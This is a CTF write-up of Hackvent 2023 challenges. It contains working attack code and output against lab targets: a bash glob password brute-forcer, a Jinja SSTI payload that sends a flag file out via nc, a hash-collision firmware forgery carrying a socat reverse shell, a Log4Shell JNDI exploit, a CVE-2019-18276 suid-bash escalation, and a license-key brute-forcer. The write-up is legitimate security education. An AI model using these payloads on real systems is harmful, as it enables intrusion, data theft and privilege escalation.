Hackvent 2023 Writeup
31. Dec 2023, #ctf
Here are some write-ups for the Hackvent 2023. This year, I managed to solve 16 challenges. I did not have as much time and more challenges involved cryptography, which is not my strong suit. Overall, the challenges were not as diverse as last year’s event. I still had fun and learned many things!
23.08 SantaLabs bask #
Level: Medium
Ditch flask and complicated python. With SantaLabs bask, you can write interactive websites using good, old bash and even template your files by using dynamic scripting!
This was indeed a web server written in bash. Inspecting the sources, I saw that the target was to access ‘/admin’. For this, I needed the admin_token
cookie. This cookie gets set after sending a POST request to ‘/login’. In the post_login.sh
file the body is compared to $ADMIN_PASSWORD
. If there’s a match, the cookie gets set, and you will get redirected.
After a few rabbit holes, I noticed that shellcheck↗ in my editor was complaining about glob matching↗. This allows us to brute force the $ADMIN_PASSWORD
character by character. Since the right side of the equation will be treated as a glob, submitting a*
for example will result in a successful check if the password starts with an a
.
import string
import requests
import re
base="https://URL"
def test_glob(glob: str) -> bool:
while True:
response = requests.post(f"{base}/login", data=glob)
# the "web" server can be a unstable thus try until we get a good response
if response.status_code != 200 or "</body>" not in response.text:
continue
break
# check if the glob was accepted
return "Successfully" in response.text
def get_flag(password: str) -> str:
cookies = {"admin_token":password}
while True:
response = requests.get(f"{base}/admin", cookies=cookies)
# the "web" server can be a unstable thus try until we get a good response
if response.status_code != 200 or "</body>" not in response.text:
continue
break
# parse the flag
flag = re.findall(r"Your flag is: (.*)<", response.text)
return flag[0]
guessed_password = ""
while True:
for c in string.ascii_lowercase: # just a good guess to we only need to brute lowercase
# assemble glob
glob = f"password={guessed_password}{c}*"
if test_glob(glob):
# good guess
print(f"[+] Found char {c}")
guessed_password += c
# try password
print(f"[*] Trying password '{guessed_password}'")
password = f"password={guessed_password}"
if test_glob(password):
# found password
print(f"[+] Found password '{guessed_password}'")
flag = get_flag(guessed_password)
print(f"[+] Flag: '{flag}'")
exit()
# try next char
print("[-] Wrong password, moving to next char...")
break
$ python solve.py
[+] Found char s
[*] Trying password 's'
[-] Wrong password, moving to next char...
[+] Found char a
[*] Trying password 'sa'
[-] Wrong password, moving to next char...
[+] Found char l
[*] Trying password 'sal'
[-] Wrong password, moving to next char...
[+] Found char a
[*] Trying password 'sala'
[-] Wrong password, moving to next char...
[+] Found char m
[*] Trying password 'salam'
[-] Wrong password, moving to next char...
[+] Found char i
[*] Trying password 'salami'
[+] Found password 'salami'
[+] Flag: 'HV23{gl0bb1ng_1n_b45h_1s_fun}'
23.10 diy-jinja #
Level: Medium
We’ve heard you like to create your own forms. With SANTA (Secure and New Template Automation), you can upload your own jinja templates and have the convenience of HTML input fields to have your friends fill them out! Obviously 100% secure and even with anti-tampering protection!
In this (obvious) SSTI challenge, there was one caveat: Classic Jinja↗ objects were forbidden by the following check:
jinja_objects = re.findall(r"{{(.*?)}}", open(tmp_path).read())
for obj in jinja_objects:
if not re.match(r"^[a-z ]+$", obj):
# An oopsie whoopsie happened
return Response(
f"Upload failed for {tmp_path}. Injection detected.", status=400
)
Intended #
One way of playing around this is by using Jinja if statements. Those have the format {% %}
and would not be caught by the regex.
Using a simple payload, this was an easy win:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen'](' cat /app/flag.txt | nc MYIP 9001 ')['read']() == 'a' %} a {% endif %}
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 152.96.15.3 45191
HV23{us3r_suppl13d_j1nj4_1s_4lw4ys_4_g00d_1d34}
Unintended #
There’s a key error in the regex. It allows for newlines. Jinja does not care if the expression is on multiple lines.
# blocked
{{ MY PAYLOAD }}
# allowed
{{
MY PAYLOAD
}}
23.13 Santa’s router #
Level: Medium
Santa came across a weird service that provides something with signatures of a firmware. He isn’t really comfortable with all that crypto stuff, can you help him with this?
Here, we have presented a Python app via a TCP socket. The goal is to get code execution via a malicious firmware update. The firmware is signed, and thus, a way to spoof the signature was needed. The signature is generated using the result from the hashFile
function. I’m going to explain this function by writing it a bit differently than in the challenge:
def hashFile(fileContent:bytes) -> int:
hash = 0
# For every block of 8 bytes
for i in range(0, len(fileContent), 8):
sum = 0
# Reconstruct the 64bit int by shifting each value corresponding to its position
# Essentially struct.unpack
for j in range(8):
if i+j < len(fileContent):
shift_value = 8*j
shifted = fileContent[i+j] << shift_value
sum += shifted
# XOR the previous hash with the 64bit int to get the new hash
hash ^= sum
return hash
The shifting is a DIY version of struct.unpack
when using little-endian data. So, the 64-bit integer of each 8-byte block will get XORed with the XOR result from the block before. And exactly, there is our “hash collision”. Since XOR is reversible, we just need to find 8 bytes that, when XORed with our payload.zip
, gives out the same hash as the given firmware.zip
. Since a zip file does not care about “junk data” at the end, we can then just append those 8 bytes.
The following script will:
- Calculate the hashes of the provided
firmware.zip
and ourpayload.zip
- In a loop
- XOR both hashes to get the integer that needs to be the last block
- Convert the int back to its byte representation
- Append those bytes and some padding to our
payload.zip
- Check now if the new hash of
payload.zip
matches the hash offirmware.zip
- If not: Increase the padding by one and repeat
The loop is necessary as it’s possible our magic 8-byte block will not get processed as a whole. So we add padding until during one iteration, the hashFile
function processes our 8 bytes as one, the last block.
from sys import argv
def hashFile(fileContent: bytes) -> int:
hash = 0
for i in range(0, len(fileContent), 8):
hash ^= sum(
[fileContent[i + j] << 8 * j for j in range(8) if i + j < len(fileContent)]
)
return hash
# Convert the 64bit int back to bytes by right shifting
def unsum(int64: int) -> bytes:
block = []
for i in range(8):
byte = (int64 >> (8 * i)) & 0xFF
block.append(byte)
return bytes(block)
# Read both zip files and calculate their hashes
with open(argv[1], "rb") as file:
original_firmware = file.read()
original_hash = hashFile(original_firmware)
with open(argv[2], "rb") as file:
payload_firmware = file.read()
payload_hash = hashFile(payload_firmware)
padding = None
while True:
# XOR is reversible so get the sum that would result in the correct hash
# by XORing both zip hashes
collision_int = original_hash ^ payload_hash
collision_bytes = unsum(collision_int)
print(f"[*] Reverse block\t {collision_bytes}")
# Append those 8 bytes with some padding to our custom firmware
payload = payload_firmware + padding + collision_bytes
# Calculate the hash again and see if they match now
payload_hash = hashFile(payload)
print(f"[*] Original Hash\t {original_hash}")
print(f"[*] Payload Hash\t {payload_hash}")
if payload_hash == original_hash:
break
else:
padding += b"\xFF"
print(f"[+] Collision successful, saving as '{argv[3]}'")
with open(argv[3], "wb") as file:
file.write(payload)
$ cat start.sh
#!/bin/sh
socat TCP:10.13.0.38:9337 EXEC:sh
$ zip payload.zip start.sh
updating: start.sh (stored 0%)
$ python solve.py firmware.zip payload.zip payload_singed.zip
[*] Reverse block b'\x84\x92\x80`n\xc7\xa9\x0f'
[*] Original Hash 2222991296195092273
[*] Payload Hash 9156065650277442674
[*] Reverse block b'C;\x8f\xe4\xfcG\xc9a'
[*] Original Hash 2222991296195092273
[*] Payload Hash 9508345702306065717
[*] Reverse block b'\x04\xf2\xee\xa7\xc7\xc8-\x9d'
[*] Original Hash 2222991296195092273
[*] Payload Hash 4923420637316088061
[*] Reverse block b'\xcc\xdfs\xa35&\x8aZ'
[*] Original Hash 2222991296195092273
[*] Payload Hash 8210329457636346587
[*] Reverse block b'\xeaU)o\xeaU)o'
[*] Original Hash 2222991296195092273
[*] Payload Hash 11213921779552101262
[*] Reverse block b'\xbf|F\x85\xbf|F\x85'
[*] Original Hash 2222991296195092273
[*] Payload Hash 2601563316266296818
[*] Reverse block b'\xc3:\xc3:\xc3:\xc3:'
[*] Original Hash 2222991296195092273
[*] Payload Hash 16654416114755282632
[*] Reverse block b'\xf9\xf9\xf9\xf9\xf9\xf9\xf9\xf9'
[*] Original Hash 2222991296195092273
[*] Payload Hash 2222991296195092273
[+] Collision successful, saving as 'payload_singed.zip'
$ base64 -w 0 payload_singed.zip
UEsDBAoAAAAAAFqAlleHupiBLQAAAC0AAAAIABwAc3RhcnQuc2hVVAkAAxylhWWVBINldXgLAAEE6AMAAAToAwAAIyEvYmluL3NoCgpzb2NhdCBUQ1A6MTAuMTMuMC4zODo5MzM3IEVYRUM6c2gKUEsBAh4DCgAAAAAAWoCWV4e6mIEtAAAALQAAAAgAGAAAAAAAAQAAALSBAAAAAHN0YXJ0LnNoVVQFAAMcpYVldXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAG8AAAAAAISSgGBux6kPQzuP5PxHyWEE8u6nx8gtnczfc6M1Jopa6lUpb+pVKW+/fEaFv3xGhcM6wzrDOsM6+fn5+fn5+fk=
$ nc 152.96.15.2 1337
Welcome to Santa's secure router
santa@router:~$ version
Version 1.3.3.7, Signature: CzvVmUr7tWN6Q3LCgOsQN14AbFWmhQbJZKu3BI6Bw2x8dUrelQDPPpQLNIKtaSTEZfZYLPuMayMdQPQq/yP/GZIwvH5UnIB14BGVvgjPdN483kKSSx71nVfmP5AjFtD8cnGiiDE1uruzS5ByCjl5IchQZbJAWK+hvMf8lz4NtSCTmuI3mSjbRR18yBNhpEXAXtvUysfFxt5zBGyg7Bekc19o93pfjm47QJOCwCLiNZZcnTckoovFCYC98DeIIeK1IDpgQ0Fer0c3s/pCO4p7HGJrUdJIhmQjEY7krclxw+USbwrHycNzr+gjsApW0QPG9MEAHSCv46s4AMKs5fMFrA==
santa@router:~$ update
Please provide a base64 encoded zip file:
> UEsDBAoAAAAAAFqAlleHupiBLQAAAC0AAAAIABwAc3RhcnQuc2hVVAkAAxylhWWVBINldXgLAAEE6AMAAAToAwAAIyEvYmluL3NoCgpzb2NhdCBUQ1A6MTAuMTMuMC4zODo5MzM3IEVYRUM6c2gKUEsBAh4DCgAAAAAAWoCWV4e6mIEtAAAALQAAAAgAGAAAAAAAAQAAALSBAAAAAHN0YXJ0LnNoVVQFAAMcpYVldXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEATgAAAG8AAAAAAISSgGBux6kPQzuP5PxHyWEE8u6nx8gtnczfc6M1Jopa6lUpb+pVKW+/fEaFv3xGhcM6wzrDOsM6+fn5+fn5+fk=
Please provide a valide pkcs1_15 signature for the zip file:
> CzvVmUr7tWN6Q3LCgOsQN14AbFWmhQbJZKu3BI6Bw2x8dUrelQDPPpQLNIKtaSTEZfZYLPuMayMdQPQq/yP/GZIwvH5UnIB14BGVvgjPdN483kKSSx71nVfmP5AjFtD8cnGiiDE1uruzS5ByCjl5IchQZbJAWK+hvMf8lz4NtSCTmuI3mSjbRR18yBNhpEXAXtvUysfFxt5zBGyg7Bekc19o93pfjm47QJOCwCLiNZZcnTckoovFCYC98DeIIeK1IDpgQ0Fer0c3s/pCO4p7HGJrUdJIhmQjEY7krclxw+USbwrHycNzr+gjsApW0QPG9MEAHSCv46s4AMKs5fMFrA==
$ nc -lnvp 9337
Listening on 0.0.0.0 9337
Connection received on 152.96.15.2 50700
ls
chall.py
firmware.zip
flag
www
cat flag
HV23{wait_x0r_is_not_a_secure_hash_function}
23.15 pREVesc #
Level: Hard
We recently changed the root password for santa as he always broke our system. However, I think he has hidden some backdoor in there. Please help us find it to save Christmas!
We’re given SSH credentials onto a server. There, we don’t have much. The current user does not have sudo
privileges, and there were no interesting SUID binaries. I took me at least 30 min of looking around and running multiple scripts to find that the passwd
binary was tampered with:
challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ ls -la /usr/bin
...
lrwxrwxrwx. 1 root root 23 Oct 5 21:27 pager -> /etc/alternatives/pager
-rwxr-xr-x. 1 root root 63880 Oct 5 21:27 partx
-rwsr-xr-x. 1 root root 132552 Dec 12 21:53 passwd
-rwxr-xr-x. 1 root root 35240 Jan 10 2023 paste
-rwxr-xr-x. 1 root root 35336 Jan 10 2023 pathchk
...
The reason this stood out was the build date. No other binaries have that build date. Upon executing it and changing my password, I did not notice anything strange. Given the title, it was reverse-engineering time.
I started with Ghidra↗. Since I had no real starting point, I scrolled through the decompiled main
function. Somewhere after the middle strange code started appearing:
I was pretty sure this is not part of passwd
. When reaching the switch case, the environment variable SALAMI
is read. This is then used further down for some checks. If it’s empty, it errors here. When investigating the switch case, I found that a -E
will lead you down this path.
challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ passwd -E
Why u givin' me no salami?!
So now we need to figure out what we should put in $SALAMI
. A bit further down, we have our target:
iVar5 = strcmp(pcVar8,(char *)local_108);
if (iVar5 == 0) {
puts("Enjoy your salami!");
system("/bin/bash -p");
}
This strcmp
is best viewed in gdb
. Sadly, the binary had a different libc
version than my system. I quickly made a Docker container to debug this file. The Ubuntu version was choosen based on the server I was connected to via SSH.
$ cat Dockerfile
FROM ubuntu:23.10
RUN apt update -y
RUN apt install git gdb python3 -y
RUN git clone https://github.com/longld/peda.git /root/peda
RUN echo "source /root/peda/peda.py" >> /root/.gdbinit
WORKDIR /root
RUN apt install libbsd0 libbsd-dev -y
COPY passwd /root/passwd
$ docker build -t prevesc .; docker run --rm -it prevesc bash
root@ab7c509ace69:~# export SALAMI="haecks"
root@ab7c509ace69:~# gdb --args ./passwd -E
In gdb
, since this was located in main
I viewed the addresses with:
b *main
r
disas main
In the terminal I then searched for setuid
and quickly found what I was looking for:
I then set a breakpoint at the strcmp
and got my salami:
challenge@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:~$ SALAMI="https://www.youtube.com/watch?v=dQw4w9WgXcQ" passwd -E
Enjoy your salami!
root@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:/home/challenge# ls /root
flag.txt
root@2b483cc2-ba7c-4fcc-85fd-b9f54c5c8b7d:/home/challenge# cat /root/flag.txt
HV23{3v1l_p455wd}
23.19 Santa’s Minecraft Server #
Level: Hard
Santa likes to play minecraft. His favorite version is 1.16. For security reasons, the server is not publicly accessible. But Santa is a little show-off, so he has an online map to brag about his fabulous building skills.
Given the old version, my first guess was Log4j. And indeed, this was correct. The website presents the Minecraft map of the server alongside a chat window. This chat window reflects the in-game chat and is the entry point for this box.
Stage 1 #
# Connected to the Hacking-Lab VPN
# Using https://github.com/kozmer/log4j-shell-poc
$ python3 poc.py --userip 10.13.0.22 --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://10.13.0.22:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.13.0.22:8000/Exploit.class
152.96.15.3 - - [21/Dec/2023 16:02:11] "GET /Exploit.class HTTP/1.1" 200 -
```bash
$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 152.96.15.3 51814
id
uid=101(server) gid=65534(nogroup) groups=65534(nogroup)
bash -i
bash: no job control in this shell
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$
Stage 2 (intended) #
Quickly, the flag was found but inaccessible.
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /home
santa
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /home/santa
flag.txt
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ cat /home/santa/flag.txt
cat: /home/santa/flag.txt: Permission denied
So I was looking for a privesc. On the disk, there was a special folder:
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ ls /
...
proc
root
run
santas-workshop
sbin
...
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:~$ cd /santas-workshop
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/santas-workshop$ ls -la
total 24
drwxr-xr-x. 1 root root 18 Dec 18 21:17 .
drwxr-xr-x. 1 root root 28 Dec 21 14:58 ..
-rwsr-sr-x. 1 santa root 16752 Dec 18 21:17 tool
-rwxrwxrwx. 1 root root 467 Dec 11 21:10 tool.c
This tool
had the SUID bit set and was compiled from:
#include <unistd.h>
#include <stdio.h>
void debugShell() {
printf("Launching debug shell...\n");
char *argv[] = { "/bin/bash", 0 };
execve(argv[0], &argv[0], NULL);
}
void main() {
printf("--- Santas Workshop Tool ---\n");
printf("Pick an action:\n");
printf("s) debug shell\n");
printf("-- more options to come\n");
char option;
scanf("%c", &option);
switch (option) {
case 's': debugShell(); break;
default: printf("Unknonwn option!\n"); break;
}
}
The problem was that /bin/bash
is not called with -p
and thus loses the SUID bit. So executing tool
does not result in a shell with the SUID bit. The intended solution was to discover that /bin/bash
was version 4.2.25
, making it vulnerable to CVE-2019-18276. Using amriunix.com/posts/cve-2019-18276-suidbash↗ as a guide, this is really straightforward to exploit:
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cat pwn.c
#include <sys/types.h>
#include <unistd.h>
void __attribute__ ((constructor)) initLibrary(void){
seteuid(1000); // The Saved UID that we want to recover
}
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ gcc -c -fPIC pwn.c -o pwn.o
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ gcc -shared -fPIC pwn.o -o libpwn.so
This exploit can then be run using:
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ /santas-workshop/tool
s
id
uid=101(server) gid=65534(nogroup) groups=65534(nogroup)
enable -f ./libpwn.so asd
/bin/bash: line 2: enable: cannot find asd_struct in shared object ./libpwn.so: ./libpwn.so: undefined symbol: asd_struct
id
uid=101(server) gid=65534(nogroup) euid=1000(santa) groups=65534(nogroup)
cat /home/santa/flag.txt
HV23{d0n7_f0rg37_70_upd473_k1d5}
Stage 2 (unintended) #
This was the way I did it. When the challenge author created this, he replaced /bin/bash
with the old and vulnerable version. He made the mistake of leaving too many permissions on the file:
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ ls -la /bin/bash
-rwxrwxrwx. 1 root root 959120 Dec 10 19:58 /bin/bash
This means we can simply replace this with a bash script that also respects the SUID bit of the calling process by using -p
:
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ echo -e '#!/bin/sh -p\ncat /home/santa/flag.txt' > notbash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cat notbash
#!/bin/sh -p
cat /home/santa/flag.txt
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cp /bin/bash /tmp/oldbash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ cp notbash /bin/bash
server@4462ff85-cf3b-44c6-8a0c-9a6d7535d90c:/tmp$ /santas-workshop/tool
s
HV23{d0n7_f0rg37_70_upd473_k1d5}
23.20 Santa’s Candy Cane Machine #
Level: Hard
As Santa wanted to start producing Candy Canes for this year’sChristmass season, his machine wouldn’t work anymore. All he got was some error message about an “expired license”. Santa tried to get support from the manufacturer. Unfortunately, the company is out of business since many years. One of the elves already tried his luck but all he got out of the machine was a .dll! Can you help Santa license his Candy Cane machine and make all those kids happy fothis year’sChristmasmas?
Upon opening the provided CandyCaneLicensing.dll
in dnSpy↗, I was happy to see that it’s not obfuscated. There were clear function and variable names. But I wasn’t in the mood to spend hours on reversing this, so I decided not to do this. But just before quitting, I saw the function CandyCaneLicense.Create(string)
. This returns a license which then can be used to call license.IsExpired()
. This returns a boolean. With this, it’s possible to brute force a valid license key.
The key consists of chars from the charset ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
in the format XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
. Even if those are only uppercase letters, this is still going to take a while. When opening the web server for the challenge, you are presented with an expired license key. Just to start brute-forcing somewhere, I took this expired key and made the super lucky guess to only brute the last five chars, the last block.
A (slightly mad) mcia↗, who solved this challenge by reversing it, later told me that only the first four digits of the last block matter for the date of the license. Thus, my guess of brute-forcing the last five was just lucky.
After just a few seconds, I found a valid license key!
using CandyCaneLicensing;
char[] charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789".ToCharArray();
if (args.Length > 0)
{
string userKey = args[0];
string baseKey = userKey.Substring(0, userKey.Length - 5);
for (int a = 0; a < charset.Length; a++)
for (int b = 0; b < charset.Length; b++)
for (int c = 0; c < charset.Length; c++)
for (int d = 0; d < charset.Length; d++)
for (int e = 0; e < charset.Length; e++)
{
string block = "" + charset[a] + charset[b] + charset[c] + charset[d] + charset[e];
string key = baseKey + block;
Console.Write("\r{0}", key);
CandyCaneLicense license = CandyCaneLicense.Create(key)!;
if (license != null)
{
if (!license.IsExpired())
{
Console.Write("\r{0}\n", key);
Environment.Exit(0);
}
}
}
}
else
{
Console.WriteLine("usage: candy.exe <license key>");
}
.\Candy.exe UCC9C-T4Y5N-2CCUV-PCEEL-7VC42
UCC9C-T4Y5N-2CCUV-PCEEL-ADAK2